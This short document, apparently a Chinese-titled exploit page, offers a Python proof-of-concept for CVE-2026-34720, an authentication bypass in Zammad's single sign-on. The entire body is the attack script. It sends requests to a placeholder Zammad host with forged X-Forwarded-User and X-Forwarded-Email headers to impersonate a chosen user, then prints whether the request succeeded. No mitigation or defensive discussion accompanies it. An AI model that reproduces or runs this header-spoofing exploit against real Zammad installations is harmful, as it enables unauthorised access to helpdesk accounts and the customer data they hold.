CVE-2026-34720 Zammad SSO认证绕过漏洞

import requests # Proof of Concept for CVE-2026-34720 # Description: Exploits lack of header verification in Zammad SSO mechanism to bypass authentication. target_url = "http://vulnerable-zammad-instance.com" # Common headers that might be trusted by the vulnerable SSO configuration # The actual header name depends on the specific configuration (e.g., X-Forwarded-User, X-Remote-User) headers = { "User-Agent": "PoC-Client/1.0", "X-Forwarded-User": "attacker", # Attempting to impersonate user 'attacker' "X-Forwarded-Email": "[email protected]" } try: response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check if the response indicates a successful login as the forged user.") # Analyze response cookies or body content to confirm authentication bypass else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")